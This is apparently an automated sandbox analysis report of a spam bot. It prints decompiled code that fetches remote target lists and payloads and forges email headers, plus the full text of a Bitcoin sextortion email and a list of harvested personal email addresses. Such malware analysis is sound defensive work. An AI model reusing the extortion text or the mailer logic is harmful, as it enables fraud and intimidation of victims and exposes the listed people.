0x00c71d27
0x00c71d33
0x00c71d38
0x00c71d44
0x00c71d49
0x00c71d7c
0x00c71d94
0x00c71d99
0x00c71d9e
0x00c71dbc
0x00c71dec
0x00c71e04
0x00c71e09
0x00c71e0e
0x00c71e35
0x00c71e4d
0x00c71e52
0x00c71e57
0x00c71e7e
0x00c71e96
0x00c71e9b
0x00c71ea0
0x00c71ec8
0x00c71ee0
0x00c71ee5
0x00c71eea
0x00c71f14
0x00c71f2c
0x00c71f31
0x00c71f36
0x00c71f54
0x00c71f84
0x00c71f9c
0x00c71fa1
0x00c71fa6
0x00c71fbf
0x00c71fc4
0x00c71fc9
0x00c71fe2
0x00c71fe7
0x00c71fec
0x00c72008
0x00c7201c
0x00c72030
0x00c72044
0x00c72058
0x00c7206c
0x00c72080
0x00c72094
0x00c720a8
0x00c720bc
0x00c720d0
0x00c720e5
0x00c720ea
0x00c720ef
0x00c7210b
0x00c7211f
0x00c72133
0x00c72147
0x00c7215b
0x00c7216f
0x00c72183
0x00c72197
0x00c721ab
0x00c721bf
0x00c721d4
0x00c721d9
0x00c721de
0x00c721e9
0x00c721e0
0x00c721e0
0x00c721e0
0x00c720f1
0x00c720f1
0x00c720f1
0x00c71fee
0x00c71fee
0x00c71fee
0x00c71fcb
0x00c71fcb
0x00c71fcb
0x00c71fa8
0x00c71fa8
0x00c71fa8
0x00c71f38
0x00c71f38
0x00c71f38
0x00c71eec
0x00c71eec
0x00c71eec
0x00c71ea2
0x00c71ea2
0x00c71ea2
0x00c71e59
0x00c71e59
0x00c71e59
0x00c71e10
0x00c71e10
0x00c71e10
0x00c71da0
0x00c71da0
0x00c71da0
0x00000000
0x00c7220c
0x00c71ab4
0x00c71ab9
0x00c71abc
0x00c71ac9
0x00c71ad0
0x00c71ad6
0x00c71ae5
0x00c71aea
0x00c71aef
0x00c71af6
0x00c71af9
0x00c71b08
0x00c71b15
0x00000000
0x00000000
0x00c71b1b
0x00c71b21
0x00000000
0x00c71b28
0x00c71b28
0x00c71b3c
0x00c71b71
0x00c71b77
0x00c71b7a
0x00c71b3e
0x00c71b4f
0x00c71b55
0x00c71b58
0x00c71b58
0x00c71b92
0x00c71b97
0x00c71b9c
0x00c71baa
0x00c71b9e
0x00c71b9e
0x00c71b9e
0x00000000
0x00000000
0x00000000
0x00000000
0x00c71bb6
0x00c71bb6
0x00c71bbf
0x00c71bc6
0x00c71bcc
0x00c71bdb
0x00c71be2
0x00c71be8
0x00c71beb
0x00c71bf1
0x00c71bff
0x00c71c03
0x00c71c0d
0x00c71c1b
0x00c71c0f
0x00c71c0f
0x00c71c0f
0x00000000
0x00000000
0x00c71c27
0x00c71c27
0x00c71c37
0x00c71c3d
0x00c71c40
0x00c71c46
0x00c71c4d
0x00c71c58
0x00c71c62
0x00c71c70
0x00c71c64
0x00c71c64
0x00c71c64
0x00000000
0x00000000
0x00c71c7c
0x00c71c83
0x00c71c87
0x00c71c91
0x00c71c9f
0x00c71c93
0x00c71c93
0x00c71c93
0x00000000
0x00000000
0x00000000
0x00000000
0x00c721f2
0x00c721f9
0x00c721fd
0x00c72205
0x00000000
0x00000000
0x00c71af1
0x00000000
0x00c71af1
0x00c71acb
0x00000000
0x00c71acb
0x00c71ac9
0x00c72211
0x00c7221a
0x00c72223
0x00c7222d
0x00c72239
0x00c72239

APIs

Part of subcall function 00C71320: GetTickCount.KERNEL32 ref: 00C7132A
Part of subcall function 00C71320: srand.MSVCR90 ref: 00C71331
Part of subcall function 00C71320: rand.MSVCR90 ref: 00C71353
Part of subcall function 00C71320: sprintf.MSVCR90 ref: 00C7136E

wsprintfA.USER32 ref: 00C71CC9

Part of subcall function 00C71490: GetLocalTime.KERNELBASE(?), ref: 00C71528
Part of subcall function 00C71490: GetTimeZoneInformation.KERNELBASE(00000000), ref: 00C71563
Part of subcall function 00C71490: wsprintfA.USER32 ref: 00C7164E

Sleep.KERNELBASE(000007D0), ref: 00C71CEA

Part of subcall function 00C71490: FileTimeToLocalFileTime.KERNEL32(00000000,?), ref: 00C7153B
Part of subcall function 00C71490: FileTimeToSystemTime.KERNEL32(?,?), ref: 00C7154C

rand.MSVCR90 ref: 00C71D11
rand.MSVCR90 ref: 00C71D22
rand.MSVCR90 ref: 00C71D33
rand.MSVCR90 ref: 00C71D44

Part of subcall function 00C71390: rand.MSVCR90 ref: 00C713A0
Part of subcall function 00C71390: rand.MSVCR90 ref: 00C713CD

wsprintfA.USER32 ref: 00C71D73

Part of subcall function 00C71120: lstrlenA.KERNEL32(?), ref: 00C7112D
Part of subcall function 00C71120: send.WS2_32(?,?,000000FF,00000000), ref: 00C71144

wsprintfA.USER32 ref: 00C71DE3
shutdown.WS2_32(000000FF,00000002), ref: 00C72223
closesocket.WS2_32(000000FF), ref: 00C7222D

Strings

My trojan allows me to access your accounts, your camera and microphone., xrefs: 00C7204C
Date: %s, xrefs: 00C71EFF
If you still doubt my serious intentions, it only takes couple mouse clicks to share the video of you with your friends, relatives, all email contacts and on social networks., xrefs: 00C7209C
Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s, xrefs: 00C71D67
From: %s, xrefs: 00C71E20
An advice from me - regularly change all your passwords to your accounts and update your device with newest security patches.., xrefs: 00C721B3
Be sure, I keep my promises!, xrefs: 00C7213B
You are given not more than 48 hours after you have opened this email (2 days to be precise)., xrefs: 00C7218B
Some time ago your device was infected with my private trojan, R.A.T (Remote Administration Tool), if you want to find out more about it simply use Google., xrefs: 00C72038
After the transaction is successful, I will proceed to delete everything without delay., xrefs: 00C720C4
%s.com, xrefs: 00C71CBD
Content-type: text/plain;, xrefs: 00C71FD9
Yes, that's how the address looks like, copy and paste my address, it's (cAsE-sEnSEtiVE)., xrefs: 00C72177
If you are unaware how to buy and send Bitcoin (BTC) - Google: Where to buy Bitcoin (BTC), to send and receive Bitcoin (BTC), you can register your wallet for example here: www.blockchain.com, xrefs: 00C7214F
I RECORDED YOU (through your camera) SATISFYING YOURSELF!, xrefs: 00C72088
Subject: %s, xrefs: 00C71EB3
In addition, I assure you that all the harmful software will be deleted from your device., xrefs: 00C72127
Unfortunately, there are some bad news for you., xrefs: 00C72024
Afterwards, we can pretend that we have never met before., xrefs: 00C72113
Everything will be carried out based on fairness!, xrefs: 00C7219F
Message-ID: <%s.%s@%s>, xrefs: 00C71F6F
All you need is $1400 USD in Bitcoin (BTC) transfer to my account (Bitcoin equivalent based on exchange rate during your transfer)., xrefs: 00C720B0
Mime-Version: 1.0, xrefs: 00C71FB6
I RECORDED YOU!, xrefs: 00C71EAE
Received: (qmail %s invoked by uid %s); %s, xrefs: 00C71DD7
Hello there!, xrefs: 00C72010
My Bitcoin (BTC) address is: 1EJJoUCykyZT3FtxRGSpuUsiBxCiHQ4wqX, xrefs: 00C72163
Check the sender of this email, I have sent it from your email account., xrefs: 00C72060
To: %s, xrefs: 00C71E69
You truly enjoy checking out porn websites and watching dirty videos, while having a lot of kinky fun., xrefs: 00C72074

Memory Dump Source

Source File: 0000000A.00000002.2485576792.0000000000C71000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C70000, based on PE: true

Associated: 0000000A.00000002.2485529967.0000000000C70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485627588.0000000000C74000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485672079.0000000000C76000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485716822.0000000000C78000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c70000_22195367.jbxd

Similarity

API ID: rand$Time$wsprintf$File$Local$CountInformationSleepSystemTickZoneclosesocketlstrlensendshutdownsprintfsrand
String ID: %s.com$After the transaction is successful, I will proceed to delete everything without delay.$Afterwards, we can pretend that we have never met before.$All you need is $1400 USD in Bitcoin (BTC) transfer to my account (Bitcoin equivalent based on exchange rate during your transfer).$An advice from me - regularly change all your passwords to your accounts and update your device with newest security patches..$Be sure, I keep my promises!$Check the sender of this email, I have sent it from your email account.$Content-type: text/plain;$Date: %s$Everything will be carried out based on fairness!$From: %s$Hello there!$I RECORDED YOU (through your camera) SATISFYING YOURSELF!$I RECORDED YOU!$If you are unaware how to buy and send Bitcoin (BTC) - Google: Where to buy Bitcoin (BTC), to send and receive Bitcoin (BTC), you can register your wallet for example here: www.blockchain.com$If you still doubt my serious intentions, it only takes couple mouse clicks to share the video of you with your friends, relatives, all email contacts and on social networks.$In addition, I assure you that all the harmful software will be deleted from your device.$Message-ID: <%s.%s@%s>$Mime-Version: 1.0$My Bitcoin (BTC) address is: 1EJJoUCykyZT3FtxRGSpuUsiBxCiHQ4wqX$My trojan allows me to access your accounts, your camera and microphone.$Received: (qmail %s invoked by uid %s); %s$Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s$Some time ago your device was infected with my private trojan, R.A.T (Remote Administration Tool), if you want to find out more about it simply use Google.$Subject: %s$To: %s$Unfortunately, there are some bad news for you.$Yes, that's how the address looks like, copy and paste my address, it's (cAsE-sEnSEtiVE).$You are given not more than 48 hours after you have opened this email (2 days to be precise).$You truly enjoy checking out porn websites and watching dirty videos, while having a lot of kinky fun.
API String ID: 1336957093-984273515
Opcode ID: 8c08a31f634e862b73e8e8acd8d416f9fb93e3854a8a445654f5a9484a2de08f
Instruction ID: 5f4e3587dacf17dfe0b958e448063241e172d89f75bff830b9da5ea68b7c9382
Opcode Fuzzy Hash: 8c08a31f634e862b73e8e8acd8d416f9fb93e3854a8a445654f5a9484a2de08f
Instruction Fuzzy Hash: 07E1C6F2D40218ABDB14DB94DC42FEE7379BB64300F08C5A8FA1D62181E77997948F65

Uniqueness

Uniqueness Score: -1.00%

Function 00C723B0 Relevance: 63.2, APIs: 29, Strings: 7, Instructions: 178
sleepthreadfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 88%

			E00C723B0(void* _a4) {
				short _v524;
				signed int _v528;
				short _v1052;
				long _v1572;
				short _v2092;
				char _v2356;
				int _v2360;
				int _v2364;
				char* _t59;
				char* _t66;
				int _t67;
				signed int _t70;
				signed int _t74;
				signed int _t76;
				signed int _t78;
				int _t83;
				int _t85;
				signed int _t88;
				void* _t122;
				void* _t134;
				void* _t139;

				memcpy( &_v2356, _a4, 0x41 << 2);
				srand(GetTickCount());
				E00C72660(0,  &_v2092, 0, 0x104);
				E00C72660( &_v1572,  &_v1572, 0, 0x104);
				E00C72660( &_v1572,  &_v1052, 0, 0x104);
				E00C72660( &_v1572,  &_v524, 0, 0x104);
				memset("[102.129.143.97]", 0, 0x1f4);
				_t59 = E00C717D0(); // executed
				strcpy("[102.129.143.97]", _t59);
				ExpandEnvironmentStringsW(L"%temp%",  &_v2092, 0x104);
				mbstowcs( &_v1572,  &_v2356, 0x105);
				wsprintfW( &_v1052, L"%sn.txt",  &_v1572);
				_t66 = E00C718D0(0,  &_v1052, 0); // executed
				_t67 = atoi(_t66);
				_t134 = _t122 + 0x7c;
				_v528 = _t67;
				if(_v528 <= 0) {
					ExitThread(0);
				} else {
					goto L1;
				}
				while(1) {
					L1:
					Sleep(0x3e8); // executed
					E00C72660( &_v524,  &_v524, 0, 0x104);
					E00C72660( &_v524, "C:\Users\Alvin\AppData\Local\Temp\30681637933354.jpg", 0, 0x104);
					_t70 = rand();
					asm("cdq");
					wsprintfW( &_v524, L"%s%d.txt",  &_v1572, _t70 % _v528 + 1);
					_t74 = rand();
					asm("cdq");
					_t76 = rand();
					asm("cdq");
					_t78 = rand();
					asm("cdq");
					wsprintfW("C:\Users\Alvin\AppData\Local\Temp\30681637933354.jpg", L"%s\\%d%d%d.jpg",  &_v2092, _t78 % 0x7fff + 0x3e8, _t76 % 0x7fff + 0x3e8, _t74 % 0x7fff + 0x3e8);
					E00C718D0(1,  &_v524, "C:\Users\Alvin\AppData\Local\Temp\30681637933354.jpg"); // executed
					_t139 = _t134 + 0x4c;
					_t83 = PathFileExistsW("C:\Users\Alvin\AppData\Local\Temp\30681637933354.jpg"); // executed
					if(_t83 == 0) {
						goto L7;
					}
					_v2364 = 0;
					while(_v2364 < 0xbb8) {
						CreateThread(0, 0, E00C72280, 0, 0, 0); // executed
						_t88 = rand();
						asm("cdq");
						Sleep(_t88 % 0x32 + 0x32); // executed
						_v2364 = _v2364 + 1;
					}
					DeleteFileW("C:\Users\Alvin\AppData\Local\Temp\30681637933354.jpg");
					L7:
					_t85 = atoi(E00C718D0(0,  &_v1052, 0));
					_t134 = _t139 + 0x10;
					_v2360 = _t85;
					if(_v2360 >= 1) {
						continue;
					}
					ExitProcess(0);
				}
			}

0x00c723c9
0x00c723d2
0x00c723e8
0x00c723fe
0x00c72414
0x00c7242a
0x00c7243e
0x00c72446
0x00c72451
0x00c7246a
0x00c72483
0x00c7249e
0x00c724b2
0x00c724bb
0x00c724c0
0x00c724c3
0x00c724d0
0x00c7264c
0x00000000
0x00000000
0x00000000
0x00c724d6
0x00c724d6
0x00c724db
0x00c724ef
0x00c72503
0x00c7250b
0x00c72510
0x00c7252e
0x00c72537
0x00c7253c
0x00c7254b
0x00c72550
0x00c7255f
0x00c72564
0x00c72584
0x00c7259b
0x00c725a0
0x00c725a8
0x00c725b0
0x00000000
0x00000000
0x00c725b2
0x00c725cd
0x00c725e8
0x00c725ee
0x00c725f3
0x00c725ff
0x00c725c7
0x00c725c7
0x00c7260c
0x00c72612
0x00c72626
0x00c7262b
0x00c7262e
0x00c7263b
0x00000000
0x00c72645
0x00c7263f
0x00c7263f

APIs

GetTickCount.KERNEL32 ref: 00C723CB
srand.MSVCR90 ref: 00C723D2
_wmemset.LIBCPMTD ref: 00C723E8
_wmemset.LIBCPMTD ref: 00C723FE
_wmemset.LIBCPMTD ref: 00C72414
_wmemset.LIBCPMTD ref: 00C7242A
memset.MSVCR90 ref: 00C7243E

Part of subcall function 00C717D0: InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36,00000000,00000000,00000000,00000000), ref: 00C717E3
Part of subcall function 00C717D0: InternetOpenUrlA.WININET(00000000,http://icanhazip.com/,00000000,00000000,00000000,00000000), ref: 00C71807
Part of subcall function 00C717D0: InternetReadFile.WININET(00000000,?,00000063,?), ref: 00C71824
Part of subcall function 00C717D0: wsprintfA.USER32 ref: 00C71860
Part of subcall function 00C717D0: InternetCloseHandle.WININET(00000000), ref: 00C71882
Part of subcall function 00C717D0: InternetCloseHandle.WININET(?), ref: 00C718A1

strcpy.MSVCR90([102.129.143.97],00000000), ref: 00C72451
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 00C7246A
mbstowcs.MSVCR90 ref: 00C72483
wsprintfW.USER32 ref: 00C7249E

Part of subcall function 00C718D0: memset.MSVCR90 ref: 00C718E2
Part of subcall function 00C718D0: InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36,00000001,00000000,00000000,00000000), ref: 00C718F7
Part of subcall function 00C718D0: InternetOpenUrlW.WININET(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00C7191A
Part of subcall function 00C718D0: CreateFileW.KERNELBASE(00C724B7,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00C71949
Part of subcall function 00C718D0: InternetReadFile.WININET(00000000,oi@datto.comnsk1235@gmail.comnitin.kulkarni@tcs.com4eyezed@gmail.commatthew.johnston@teck.comlguilbeault@flynn.canick_mckay_89@hotmail.combruno.bietola@myunited.caerwanjezeque@gmail.comerwan.jezequel@apcurium.comjleitch@deltasd.bc.cajanine@deltasd.b,000003FF,00C724B7), ref: 00C7196A
Part of subcall function 00C718D0: WriteFile.KERNELBASE(000000FF,oi@datto.comnsk1235@gmail.comnitin.kulkarni@tcs.com4eyezed@gmail.commatthew.johnston@teck.comlguilbeault@flynn.canick_mckay_89@hotmail.combruno.bietola@myunited.caerwanjezeque@gmail.comerwan.jezequel@apcurium.comjleitch@deltasd.bc.cajanine@deltasd.b,00000000,00000000,00000000), ref: 00C7198D
Part of subcall function 00C718D0: CloseHandle.KERNEL32(000000FF), ref: 00C71999
Part of subcall function 00C718D0: InternetCloseHandle.WININET(00000000), ref: 00C719BD
Part of subcall function 00C718D0: InternetCloseHandle.WININET(00000000), ref: 00C719C7

atoi.MSVCR90 ref: 00C724BB
Sleep.KERNELBASE(000003E8), ref: 00C724DB
_wmemset.LIBCPMTD ref: 00C724EF
_wmemset.LIBCPMTD ref: 00C72503
rand.MSVCR90 ref: 00C7250B
wsprintfW.USER32 ref: 00C7252E
rand.MSVCR90 ref: 00C72537
rand.MSVCR90 ref: 00C7254B
rand.MSVCR90 ref: 00C7255F
wsprintfW.USER32 ref: 00C72584

Part of subcall function 00C718D0: InternetReadFile.WININET(00000000,oi@datto.comnsk1235@gmail.comnitin.kulkarni@tcs.com4eyezed@gmail.commatthew.johnston@teck.comlguilbeault@flynn.canick_mckay_89@hotmail.combruno.bietola@myunited.caerwanjezeque@gmail.comerwan.jezequel@apcurium.comjleitch@deltasd.bc.cajanine@deltasd.b,000003FF,00C724B7), ref: 00C719B3

PathFileExistsW.KERNELBASE(C:\Users\user\AppData\Local\Temp\30681637933354.jpg), ref: 00C725A8
CreateThread.KERNELBASE(00000000,00000000,00C72280,00000000,00000000,00000000), ref: 00C725E8
rand.MSVCR90 ref: 00C725EE
Sleep.KERNELBASE ref: 00C725FF
DeleteFileW.KERNEL32(C:\Users\user\AppData\Local\Temp\30681637933354.jpg), ref: 00C7260C
atoi.MSVCR90 ref: 00C72626
ExitProcess.KERNEL32 ref: 00C7263F
ExitThread.KERNEL32 ref: 00C7264C

Strings

%sn.txt, xrefs: 00C72492
%s%d.txt, xrefs: 00C72522
%temp%, xrefs: 00C72465
%s\%d%d%d.jpg, xrefs: 00C7257A
^-v, xrefs: 00C725A8
C:\Users\user\AppData\Local\Temp\30681637933354.jpg, xrefs: 00C724FE, 00C7257F, 00C7258D, 00C725A3, 00C72607
[102.129.143.97], xrefs: 00C72439, 00C7244C

Memory Dump Source

Source File: 0000000A.00000002.2485576792.0000000000C71000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C70000, based on PE: true

Associated: 0000000A.00000002.2485529967.0000000000C70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485627588.0000000000C74000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485672079.0000000000C76000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485716822.0000000000C78000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c70000_22195367.jbxd

Similarity

API ID: Internet$File$_wmemset$CloseHandlerand$Openwsprintf$Read$CreateExitSleepThreadatoimemset$CountDeleteEnvironmentExistsExpandPathProcessStringsTickWritembstowcssrandstrcpy
String ID: %s%d.txt$%s\%d%d%d.jpg$%sn.txt$%temp%$C:\Users\user\AppData\Local\Temp\30681637933354.jpg$[102.129.143.97]$^-v
API String ID: 3135460431-1355702559
Opcode ID: 7658bd5c5da5f518f07bdcba09283294ab1173bee7bb09ada2386a42d71d1083
Instruction ID: 76944724ce80dc1da5fc8509baf2de9fb607824cb3bc0f787659230d02dab19d
Opcode Fuzzy Hash: 7658bd5c5da5f518f07bdcba09283294ab1173bee7bb09ada2386a42d71d1083
Instruction Fuzzy Hash: 3B51B3B1E80314ABE714BB60DC4BFDA7239AB54B05F04C0A4F70DA51C2EFB456C49AA2

Uniqueness

Uniqueness Score: -1.00%

Function 00C71490 Relevance: 47.4, APIs: 6, Strings: 21, Instructions: 156
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 90%

			E00C71490(FILETIME* _a4, CHAR* _a8, intOrPtr _a12) {
				long _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				signed int _v88;
				signed int _v92;
				struct _SYSTEMTIME _v108;
				struct _TIME_ZONE_INFORMATION _v284;
				struct _FILETIME _v292;
				signed int _v296;
				intOrPtr _v300;
				CHAR* _v304;
				long _t105;
				signed int _t145;
				void* _t164;
				signed int _t170;

				_v84 = 0xc741d4;
				_v80 = 0xc741d8;
				_v76 = 0xc741dc;
				_v72 = 0xc741e0;
				_v68 = 0xc741e4;
				_v64 = 0xc741e8;
				_v60 = 0xc741ec;
				_v56 = 0xc741f0;
				_v52 = 0xc741f4;
				_v48 = 0xc741f8;
				_v44 = 0xc741fc;
				_v40 = 0xc74200;
				_v36 = 0xc74204;
				_v32 = 0xc74208;
				_v28 = 0xc7420c;
				_v24 = 0xc74210;
				_v20 = 0xc74214;
				_v16 = 0xc74218;
				_v12 = 0xc7421c;
				if(_a4 != 0) {
					FileTimeToLocalFileTime(_a4,  &_v292);
					FileTimeToSystemTime( &_v292,  &_v108);
				} else {
					GetLocalTime( &_v108); // executed
				}
				_v284.Bias = 0;
				_t105 = GetTimeZoneInformation( &_v284); // executed
				_v8 = _t105;
				_v92 = _v284.Bias;
				if(_v8 == 2) {
					_t145 = _v92 + _v284.DaylightBias;
					_t170 = _t145;
					_v92 = _t145;
				}
				_v92 =  ~_v92;
				if(_t170 < 0) {
					_v296 =  ~_v92;
				} else {
					_v296 = _v92;
				}
				_v88 = _v296;
				if((_v108.wDayOfWeek & 0x0000ffff) > 6) {
					_v108.wDayOfWeek = 6;
				}
				if((_v108.wMonth & 0x0000ffff) == 0) {
					_v108.wMonth = 1;
				}
				if((_v108.wMonth & 0x0000ffff) > 0xc) {
					_v108.wMonth = 0xc;
				}
				if(_a12 == 0) {
					if(_v92 < 0) {
						_v304 = "-";
					} else {
						_v304 = "+";
					}
					asm("cdq");
					asm("cdq");
					return wsprintfA(_a8, "%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u",  *((intOrPtr*)(_t164 + (_v108.wDayOfWeek & 0x0000ffff) * 4 - 0x50)), _v108.wDay & 0x0000ffff,  *((intOrPtr*)(_t164 + (_v108.wMonth & 0x0000ffff) * 4 - 0x38)), _v108.wYear & 0x0000ffff, _v108.wHour & 0x0000ffff, _v108.wMinute & 0x0000ffff, _v108.wSecond & 0x0000ffff, _v304, _v88 / 0x3c, _v88 % 0x3c);
				} else {
					if(_v92 < 0) {
						_v300 = 0xc74224;
					} else {
						_v300 = 0xc74220;
					}
					asm("cdq");
					asm("cdq");
					return wsprintfA(_a8, "%u %s %u %.2u:%.2u:%.2u %s%.2u%.2u", _v108.wDay & 0x0000ffff,  *((intOrPtr*)(_t164 + (_v108.wMonth & 0x0000ffff) * 4 - 0x38)), _v108.wYear & 0x0000ffff, _v108.wHour & 0x0000ffff, _v108.wMinute & 0x0000ffff, _v108.wSecond & 0x0000ffff, _v300, _v88 / 0x3c, _v88 % 0x3c);
				}
			}

0x00c71499
0x00c714a0
0x00c714a7
0x00c714ae
0x00c714b5
0x00c714bc
0x00c714c3
0x00c714ca
0x00c714d1
0x00c714d8
0x00c714df
0x00c714e6
0x00c714ed
0x00c714f4
0x00c714fb
0x00c71502
0x00c71509
0x00c71510
0x00c71517
0x00c71522
0x00c7153b
0x00c7154c
0x00c71524
0x00c71528
0x00c71528
0x00c71552
0x00c71563
0x00c71569
0x00c71572
0x00c71579
0x00c7157e
0x00c7157e
0x00c71581
0x00c71581
0x00c71589
0x00c7158c
0x00c7159e
0x00c7158e
0x00c71591
0x00c71591
0x00c715aa
0x00c715b4
0x00c715bb
0x00c715bb
0x00c715c5
0x00c715cc
0x00c715cc
0x00c715d7
0x00c715de
0x00c715de
0x00c715e6
0x00c7165d
0x00c7166b
0x00c7165f
0x00c7165f
0x00c7165f
0x00c71678
0x00c71684
0x00000000
0x00c715e8
0x00c715ec
0x00c715fa
0x00c715ee
0x00c715ee
0x00c715ee
0x00c71607
0x00c71613
0x00000000
0x00c71654

APIs

GetLocalTime.KERNELBASE(?), ref: 00C71528
FileTimeToLocalFileTime.KERNEL32(00000000,?), ref: 00C7153B
FileTimeToSystemTime.KERNEL32(?,?), ref: 00C7154C
GetTimeZoneInformation.KERNELBASE(00000000), ref: 00C71563
wsprintfA.USER32 ref: 00C7164E
wsprintfA.USER32 ref: 00C716C8

Strings

%u %s %u %.2u:%.2u:%.2u %s%.2u%.2u, xrefs: 00C71645
Dec, xrefs: 00C71517
%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u, xrefs: 00C716BF
May, xrefs: 00C714E6
Sep, xrefs: 00C71502
Sat, xrefs: 00C714C3, 00C7163F, 00C716B0
Mar, xrefs: 00C714D8
Thu, xrefs: 00C714B5
Jun, xrefs: 00C714ED
Feb, xrefs: 00C714D1
Fri, xrefs: 00C714BC
Nov, xrefs: 00C71510, 00C7164D, 00C716C7
Jan, xrefs: 00C714CA
Apr, xrefs: 00C714DF
Aug, xrefs: 00C714FB
Mon, xrefs: 00C714A0
Jul, xrefs: 00C714F4
Wed, xrefs: 00C714AE
Oct, xrefs: 00C71509
Tue, xrefs: 00C714A7
Sun, xrefs: 00C71499, 00C716BE

Memory Dump Source

Source File: 0000000A.00000002.2485576792.0000000000C71000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C70000, based on PE: true

Associated: 0000000A.00000002.2485529967.0000000000C70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485627588.0000000000C74000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485672079.0000000000C76000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485716822.0000000000C78000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c70000_22195367.jbxd

Similarity

API ID: Time$File$Localwsprintf$InformationSystemZone
String ID: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u$%u %s %u %.2u:%.2u:%.2u %s%.2u%.2u$Apr$Aug$Dec$Feb$Fri$Jan$Jul$Jun$Mar$May$Mon$Nov$Oct$Sat$Sep$Sun$Thu$Tue$Wed
API String ID: 1439763326-1766317088
Opcode ID: 2bf2f96b2863f8d022c603e361ef29ecff9138b821671c40c21629e4746e33c8
Instruction ID: 1f266df51c1b4f1cb3f67fe00bc148aa7e31a5e03da62ac293c2712ccc3f270c
Opcode Fuzzy Hash: 2bf2f96b2863f8d022c603e361ef29ecff9138b821671c40c21629e4746e33c8
Instruction Fuzzy Hash: 9D61F7B0900258DBCF18CFC9D844AEDBBF9FF88305F108159F51AAB254E7788A94CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00C718D0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 86
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00C718D0(signed char _a4, WCHAR* _a8, WCHAR* _a12) {
				void* _v8;
				void* _v12;
				long _v16;
				long _v20;
				void* _v24;
				void* _t32;
				int _t33;

				memset("oi@datto.comnsk1235@gmail.comnitin.kulkarni@tcs.com4eyezed@gmail.commatthew.johnston@teck.comlguilbeault@flynn.canick_mckay_89@hotmail.combruno.bietola@myunited.caerwanjezeque@gmail.comerwan.jezequel@apcurium.comjleitch@deltasd.bc.cajanine@deltasd.b", 0, 0x400);
				_v24 = InternetOpenW(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", 1, 0, 0, 0);
				if(_v24 != 0) {
					_v8 = InternetOpenUrlW(_v24, _a8, 0, 0, 0, 0);
					if(_v8 != 0) {
						if((_a4 & 0x000000ff) != 1) {
							InternetReadFile(_v8, "oi@datto.comnsk1235@gmail.comnitin.kulkarni@tcs.com4eyezed@gmail.commatthew.johnston@teck.comlguilbeault@flynn.canick_mckay_89@hotmail.combruno.bietola@myunited.caerwanjezeque@gmail.comerwan.jezequel@apcurium.comjleitch@deltasd.bc.cajanine@deltasd.b", 0x3ff,  &_v20); // executed
						} else {
							_t32 = CreateFileW(_a12, 0x40000000, 0, 0, 2, 0, 0); // executed
							_v12 = _t32;
							if(_v12 != 0xffffffff) {
								while(1) {
									_t33 = InternetReadFile(_v8, "oi@datto.comnsk1235@gmail.comnitin.kulkarni@tcs.com4eyezed@gmail.commatthew.johnston@teck.comlguilbeault@flynn.canick_mckay_89@hotmail.combruno.bietola@myunited.caerwanjezeque@gmail.comerwan.jezequel@apcurium.comjleitch@deltasd.bc.cajanine@deltasd.b", 0x3ff,  &_v20); // executed
									if(_t33 == 0 || _v20 == 0) {
										break;
									}
									WriteFile(_v12, "oi@datto.comnsk1235@gmail.comnitin.kulkarni@tcs.com4eyezed@gmail.commatthew.johnston@teck.comlguilbeault@flynn.canick_mckay_89@hotmail.combruno.bietola@myunited.caerwanjezeque@gmail.comerwan.jezequel@apcurium.comjleitch@deltasd.bc.cajanine@deltasd.b", _v20,  &_v16, 0); // executed
								}
								CloseHandle(_v12);
							}
						}
					}
					InternetCloseHandle(_v8); // executed
				}
				InternetCloseHandle(_v24);
				return 0xc76520;
			}

0x00c718e2
0x00c718fd
0x00c71904
0x00c71920
0x00c71927
0x00c71934
0x00c719b3
0x00c71936
0x00c71949
0x00c7194f
